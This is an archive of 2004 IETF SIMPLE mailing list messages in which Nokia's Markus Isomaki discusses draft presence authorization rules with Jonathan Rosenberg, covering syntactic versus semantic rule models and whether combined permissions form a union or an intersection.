	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyWu-00054o-NR; Mon, 01 Mar 2004 20:17:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyWM-00052E-OJ
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:16:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18649
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:16:27 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWK-0005Og-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:16:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyVV-0005G3-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:15:38 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyUk-00056H-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:14:50 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221Em029133;
	Tue, 2 Mar 2004 03:14:48 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 03:14:33 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i221EXLv005583;
	Tue, 2 Mar 2004 03:14:33 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00ZLWENE; Tue, 02 Mar 2004 03:14:32 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221EWO14880;
	Tue, 2 Mar 2004 03:14:32 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:14:32 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE:  [Simple] Models for representing presence rules
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFD@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Models for representing presence rules
Thread-Index: AcP77IIF3VaTnob2QDCaAP1xB23KigDxoa+g
To: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 01:14:32.0010 (UTC) FILETIME=[B7AB52A0:01C3FFF3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 03:14:32 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=1.3 required=5.0 tests=AWL,NEW_DOMAIN_EXTENSIONS,
	NO_REAL_NAME autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

Does this really have to be an either or choice? Wouldn't it be possible =
to keep the syntactic approach as a baseline, since only this way the =
system would be future-proof without the need to upgrade presence agent =
to understand the semantics of each possible presence document extension =
that will be defined. I think this is important property, since we want =
anyway to provide presence about applications that are proprietary by =
nature, and thus their presence info would be proprietary as well. In =
this case it would not be feasible to upgrade presence agents to =
understand the semantics of such proprietary extensions. Still it would =
be important to be able to provide permissions to such information in =
standardized way.

On the other hand I think it would be OK to define semantic rules for =
the standard presence extensions, such as RPID, CIPID, or prescaps. And =
in the future any new extension could define its own semantic rules.

Would there be something that breaks if we allow both of these models at =
the same time? If we have to select one I would have to chooce the =
syntactic approach as a trade-off.

Markus

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 26 February, 2004 00:08
> To: Simple WG
> Subject: [Simple] Models for representing presence rules
>=20
>=20
> I wanted to make the group aware of an important implicit=20
> decision that=20
> has been made in the way presence authorization rules have been=20
> structured in:
>=20
> http://www.ietf.org/internet-drafts/draft-rosenberg-simple-rul
> es-00.txt
>=20
> The model used in this document is that the transformation rules are=20
> syntactic in nature. That is, they define rules based on XML=20
> constructs,=20
> such as adding and removing elements, adding and removing namespaces,=20
> and so on. These kinds of rules have the benefit that they=20
> can be used=20
> for new presence extensions that havent even been defined yet. For=20
> example, if we defined a new extension that included contact=20
> information=20
> within a namespace urn:ietf:params:xml:ns:pidf:cipid, a=20
> presentity could=20
> define rules for giving out this information using the show-namespace=20
> construct in rosenberg-simple-rules, even though the cipid=20
> extension did=20
> not exist when simple-rules was defined.
>=20
> The drawback is that the impact of a set of rules on a=20
> document could be=20
> non-obvious and have the wrong effect. Hisham has already pointed out=20
> some cases where, for example, if the same element appeared=20
> in several=20
> places in a document, the show-element transformation might have=20
> unintended consequences. It also complicates interactions between=20
> transformations that can affect the same data - for example,=20
> show-namespace and show-element can affect the same element in a=20
> presence document, and thus there is an interaction between them.
>=20
> A different approach is a more semantic approach, which is=20
> actually what=20
> is done in the geopriv equivalent:
>=20
> http://www.ietf.org/internet-drafts/draft-ietf-geopriv-policy-01.txt
>=20
> For us, the analagous thing would be to define rules for each=20
> specific=20
> part of the presence document. For example, for the note, we could=20
> define three levels of privacy - to not send any notes, to send notes=20
> for tuples only, notes for the whole document, or all:
>=20
> <note>tuples-only</note>
>=20
> We would also need to define elements for various rpid=20
> pieces. For example:
>=20
> <placetype>home-only</placetype>
> <icon>black-and-white</icon>
>=20
> would specify that the placetype element is included only if=20
> its value=20
> is home, and the icon that is sent (defined in cipid) should be=20
> converted to black and white first.
>=20
> The semantic approach allows us to carefully construct our privacy=20
> policies so that there is no feature interaction (as we have the=20
> syntactic approach today); it would also allow us to specify=20
> transformations that are non-trivially represented via XML=20
> constructs,=20
> for example converting an image to black and white.
>=20
> To be honest, I'm on the fence on this. I have gradually been coming=20
> over to the "semantic" side of the argument, because it=20
> allows us to be=20
> more concise. The cost is that new extensions to pidf would have to=20
> define their own authorization policies as well.
>=20
> This is a major decision point we need to make. Please comment.
>=20
> Thanks,
> Jonathan R.
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 20:19:47 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18834
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 20:19:47 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyZ4-0005hZ-He
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 20:19:20 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i221JIlj021918
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 20:19:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyZ4-0005hR-79
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 20:19:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18770
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 20:19:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyZ2-0005tC-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:19:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyXs-0005eW-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:18:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWt-0005UV-00; Mon, 01 Mar 2004 20:17:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyWr-00053p-E0; Mon, 01 Mar 2004 20:17:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyW8-00050Q-Qd
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:16:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18613
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:16:13 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyW6-0005MR-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:16:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyV9-0005Cx-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:15:16 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyUI-00053l-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:14:22 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221EK028820;
	Tue, 2 Mar 2004 03:14:20 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 03:14:17 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i221EHaP031220;
	Tue, 2 Mar 2004 03:14:17 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00IDVzF5; Tue, 02 Mar 2004 03:14:16 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221EG723367;
	Tue, 2 Mar 2004 03:14:16 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:14:16 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] New xcap authorization documents - unions vs. intersections?
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFC@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] New xcap authorization documents
Thread-Index: AcPvSAnlGDdWtkDYR5GSxd9IBCgMVgQaFOkg
To: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 01:14:16.0086 (UTC) FILETIME=[AE2D8360:01C3FFF3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 03:14:16 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

After reading the documents I must admit I have a fundamental problem in =
understanding how the common policy permission combination is meant to =
work.

In Chapter 4 it says that permissions are additive: "If several rules =
match, then the overall permissions granted to the WR are the union of =
those permissions."

This makes sense to me. If one rule gives certain user rights to {A,B,C} =
and another rule to {C,D} it seems intuitive that the overall rigths are =
to {A,B,C,D}; or if one rule gives rights to accuracy "low" and another =
to "high", "high" would be the end-result.

However, Chapter 10 explains in detail how permissions are combined and =
that does not seem at all additive to me. For instance combining rule =
CR3 states that if the permission is of a "set" type, the overall =
permission should be _intersection_ of all given permissions. In the =
above case this would mean that only {C} is granted. Why is this? =
Shouldn't it be a union?

More precisely about the concrete presence authorization rules: Let's =
assume I have a rule that allows tuples of class X and Y to be shown to =
domain example.com, and another rule that allows tuple Z to be shown to =
bob@example.com. If the permissions were additive, I expected bob to get =
X, Y and Z - while according to the current logic I think nothing is =
given, as the intersection is an empty set.

Please clarify what is wrong in my interpretation.

Markus

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 09 February, 2004 21:46
> To: Simple WG
> Subject: [Simple] New xcap authorization documents
>=20
>=20
> Folks,
>=20
> We've completed the major first step of integrating the geopriv and=20
> simple authorization specifications. -00 drafts have been=20
> submitted to=20
> both geopriv and simple supporting this unification.
>=20
> In geopriv, the main draft to look at is this one (available in the=20
> archives shortly:)
> http://ecotroph.net/~anewton/resources/geopriv/draft-ietf-geop
> riv-common-policy-00.txt
>=20
> This is the common policy specification. It outlines the=20
> framework for=20
> representing policies, and defines some basic elements, such as=20
> confirming subscriptions and identifying watchers. At this time, it=20
> includes support for the "exception" clause against domains.
>=20
> This specification is extended (and in particular, the abstract=20
> condition, action, and transformation elements are made=20
> concrete) with=20
> presence specific data in:
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-rules-00.txt
>=20
> which should also appear in the archives shortly. This draft will=20
> replace draft-ietf-simple-xcap-auth-usage-01.txt once the=20
> group is happy=20
> with the approach.
>=20
> Another change is the removal of "supported permissions" from=20
> xcap-auth-usage. That, like authorization rules, is now broken into a=20
> common core document and a presence specific one.
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-common-po
> licy-caps-00.txt
>=20
> specifies the common document, and:
>=20
> http://www.jdrosen.net/papers/draft-rosenberg-simple-pres-poli
> cy-caps-00.txt
>=20
> contains the capabilities specific to presence.
>=20
> These are both very simple specifications.
>=20
> I think the resulting document set is much cleaner and easier to=20
> understand than before. Put together, beyond a split, here=20
> are the major=20
> changes:
>=20
> * all conditions are part of a rule-wide selector (the conditions=20
> element) rather than specific to permissions. As such, the accept-if=20
> condition is gone.
>=20
> * only domain's have except clauses. There is no longer an "any"=20
> condition or the ability to reference a list.
>=20
> * The "sphere" element is now present as a condition
>=20
> * There is a "validity" condition which allows you to=20
> temproally scope=20
> the validity of a document
>=20
> * Removed "can-encrypt" condition - trying to keep things minimal.
>=20
> * You can now explicitly ask for subscription confirmation using the=20
> confirmation action from the common document
>=20
> * You can explicitly accept or reject subscriptions with the=20
> accept-subscription action in the presence specific document.
>=20
> * You can now explicitly polite block. The behavior of the=20
> server when=20
> the user requests polite blocking is not defined - its implementation=20
> specific.
>=20
> * There is no longer an "encrypt" action for requesting the server to=20
> send encrypted notifications.
>=20
> * There is now an "anonymous" condition which allows you to specify=20
> policies based on whether the subscription was anonymous
>=20
> * Specific treatment for identity matching is defined for SIP digest=20
> authentication, P-asserted-ID and sip-identity
>=20
> * There are three content transformations defined - show-tuple,=20
> show-namespace and show-element. Each of these is applied=20
> INDEPENDENTLY,=20
> so if an item is filtered by any one of these, its filtered=20
> out of the=20
> document.
>=20
> * show-note and show-contact have been removed to simplify
>=20
> * defaults were established for the above three transformations
>=20
> * The documents are much less xcap-centric. They talk about document=20
> formats, and have a small section at the end which defines=20
> the usage for=20
> xcap. The title and filenames have also changed to reflect this. This=20
> clarifies that these documents can be used outside of xcap.
>=20
>=20
>=20
> Please take a look and send comments.
>=20
> Thanks,
> Jonathan R.
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 20:19:49 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18854
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 20:19:49 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyZ8-0005i8-4O
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 20:19:22 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i221JMFY021945
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 20:19:22 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyZ8-0005hs-12
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 20:19:22 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18792
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 20:19:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyZ5-0005ts-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:19:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyXu-0005eq-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:18:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWt-0005UX-00; Mon, 01 Mar 2004 20:17:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyWu-00054o-NR; Mon, 01 Mar 2004 20:17:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyWM-00052E-OJ
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:16:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18649
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:16:27 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWK-0005Og-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:16:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyVV-0005G3-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:15:38 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyUk-00056H-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:14:50 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221Em029133;
	Tue, 2 Mar 2004 03:14:48 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 03:14:33 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i221EXLv005583;
	Tue, 2 Mar 2004 03:14:33 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00ZLWENE; Tue, 02 Mar 2004 03:14:32 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221EWO14880;
	Tue, 2 Mar 2004 03:14:32 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 03:14:32 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE:  [Simple] Models for representing presence rules
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFD@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] Models for representing presence rules
Thread-Index: AcP77IIF3VaTnob2QDCaAP1xB23KigDxoa+g
To: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 01:14:32.0010 (UTC) FILETIME=[B7AB52A0:01C3FFF3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 03:14:32 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=1.3 required=5.0 tests=AWL,NEW_DOMAIN_EXTENSIONS,
	NO_REAL_NAME autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

Does this really have to be an either or choice? Wouldn't it be possible =
to keep the syntactic approach as a baseline, since only this way the =
system would be future-proof without the need to upgrade presence agent =
to understand the semantics of each possible presence document extension =
that will be defined. I think this is important property, since we want =
anyway to provide presence about applications that are proprietary by =
nature, and thus their presence info would be proprietary as well. In =
this case it would not be feasible to upgrade presence agents to =
understand the semantics of such proprietary extensions. Still it would =
be important to be able to provide permissions to such information in =
standardized way.

On the other hand I think it would be OK to define semantic rules for =
the standard presence extensions, such as RPID, CIPID, or prescaps. And =
in the future any new extension could define its own semantic rules.

Would there be something that breaks if we allow both of these models at =
the same time? If we have to select one I would have to chooce the =
syntactic approach as a trade-off.

Markus

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 26 February, 2004 00:08
> To: Simple WG
> Subject: [Simple] Models for representing presence rules
>=20
>=20
> I wanted to make the group aware of an important implicit=20
> decision that=20
> has been made in the way presence authorization rules have been=20
> structured in:
>=20
> http://www.ietf.org/internet-drafts/draft-rosenberg-simple-rul
> es-00.txt
>=20
> The model used in this document is that the transformation rules are=20
> syntactic in nature. That is, they define rules based on XML=20
> constructs,=20
> such as adding and removing elements, adding and removing namespaces,=20
> and so on. These kinds of rules have the benefit that they=20
> can be used=20
> for new presence extensions that havent even been defined yet. For=20
> example, if we defined a new extension that included contact=20
> information=20
> within a namespace urn:ietf:params:xml:ns:pidf:cipid, a=20
> presentity could=20
> define rules for giving out this information using the show-namespace=20
> construct in rosenberg-simple-rules, even though the cipid=20
> extension did=20
> not exist when simple-rules was defined.
>=20
> The drawback is that the impact of a set of rules on a=20
> document could be=20
> non-obvious and have the wrong effect. Hisham has already pointed out=20
> some cases where, for example, if the same element appeared=20
> in several=20
> places in a document, the show-element transformation might have=20
> unintended consequences. It also complicates interactions between=20
> transformations that can affect the same data - for example,=20
> show-namespace and show-element can affect the same element in a=20
> presence document, and thus there is an interaction between them.
>=20
> A different approach is a more semantic approach, which is=20
> actually what=20
> is done in the geopriv equivalent:
>=20
> http://www.ietf.org/internet-drafts/draft-ietf-geopriv-policy-01.txt
>=20
> For us, the analagous thing would be to define rules for each=20
> specific=20
> part of the presence document. For example, for the note, we could=20
> define three levels of privacy - to not send any notes, to send notes=20
> for tuples only, notes for the whole document, or all:
>=20
> <note>tuples-only</note>
>=20
> We would also need to define elements for various rpid=20
> pieces. For example:
>=20
> <placetype>home-only</placetype>
> <icon>black-and-white</icon>
>=20
> would specify that the placetype element is included only if=20
> its value=20
> is home, and the icon that is sent (defined in cipid) should be=20
> converted to black and white first.
>=20
> The semantic approach allows us to carefully construct our privacy=20
> policies so that there is no feature interaction (as we have the=20
> syntactic approach today); it would also allow us to specify=20
> transformations that are non-trivially represented via XML=20
> constructs,=20
> for example converting an image to black and white.
>=20
> To be honest, I'm on the fence on this. I have gradually been coming=20
> over to the "semantic" side of the argument, because it=20
> allows us to be=20
> more concise. The cost is that new extensions to pidf would have to=20
> define their own authorization policies as well.
>=20
> This is a major decision point we need to make. Please comment.
>=20
> Thanks,
> Jonathan R.
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 20:20:53 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18956
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 20:20:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyad-0006B0-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:20:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyYr-0005rh-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:19:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyXo-0005du-00; Mon, 01 Mar 2004 20:18:00 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyXp-0005JI-3B; Mon, 01 Mar 2004 20:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyX0-000595-2k
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:17:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18682
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:17:06 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyWy-0005V9-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:17:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxyW3-0005MB-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:16:12 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyV6-0005CM-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:15:12 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i221FA029507;
